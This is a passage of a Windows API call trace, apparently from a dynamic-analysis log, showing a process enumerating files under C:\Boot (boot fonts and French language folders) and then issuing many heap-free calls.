	[0068.119] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1
	[0068.119] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1
	[0068.119] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1
	[0068.120] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1
	[0068.120] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1
	[0068.120] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1
	[0068.120] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1
	[0068.120] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0
	[0068.120] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0068.121] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.121] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0068.121] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e91f60
	[0068.121] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811a88
	[0068.121] FindNextFileW (in: hFindFile=0x811a88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.121] FindNextFileW (in: hFindFile=0x811a88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0068.121] FindNextFileW (in: hFindFile=0x811a88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0068.121] FindClose (in: hFindFile=0x811a88 | out: hFindFile=0x811a88) returned 1
	[0068.121] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.121] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0068.122] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e91f60
	[0068.122] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811f08
	[0068.122] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.122] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0068.122] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0068.122] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0068.122] FindClose (in: hFindFile=0x811f08 | out: hFindFile=0x811f08) returned 1
	[0068.122] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.122] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e91f60
	[0068.124] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.124] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.124] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.125] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.125] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.125] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.125] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.125] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.125] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.125] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.125] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.125] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.126] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.126] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0068.127] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.127] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.127] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.127] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.127] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.127] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x779728, Size=0x4000) returned 0x783bf0
	[0068.128] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.128] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.128] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.128] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.128] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.128] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.128] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.129] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.129] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0068.130] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0068.131] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0068.814] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x783bf0, Size=0x8000) returned 0x32b1278
	[0068.984] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0069.881] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0069.882] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0070.799] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0070.823] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.823] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.823] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.823] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.826] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.826] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.826] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.827] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.833] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.833] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.833] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.833] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.835] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.835] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.838] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.839] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.839] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.843] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.844] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.846] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.846] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.846] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.846] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.850] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.850] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.851] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.851] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.851] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.851] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.855] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.856] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.856] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.858] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.858] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.858] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.859] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.864] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.864] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.872] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.872] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.874] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.874] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.874] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.874] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.878] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.879] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.879] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.879] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.899] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.899] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.899] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.901] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0070.903] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.903] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0070.906] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.906] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.907] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.908] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.912] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.913] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0070.913] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.913] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0070.914] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.916] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.916] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.925] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.928] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.928] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.930] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0070.930] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0070.931] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0070.931] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.931] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0071.346] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0071.346] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0071.347] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0071.347] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0071.348] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0071.349] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0071.350] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0071.350] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0071.350] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0071.350] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0071.355] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0071.358] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0071.359] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0071.360] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0071.366] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0071.366] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
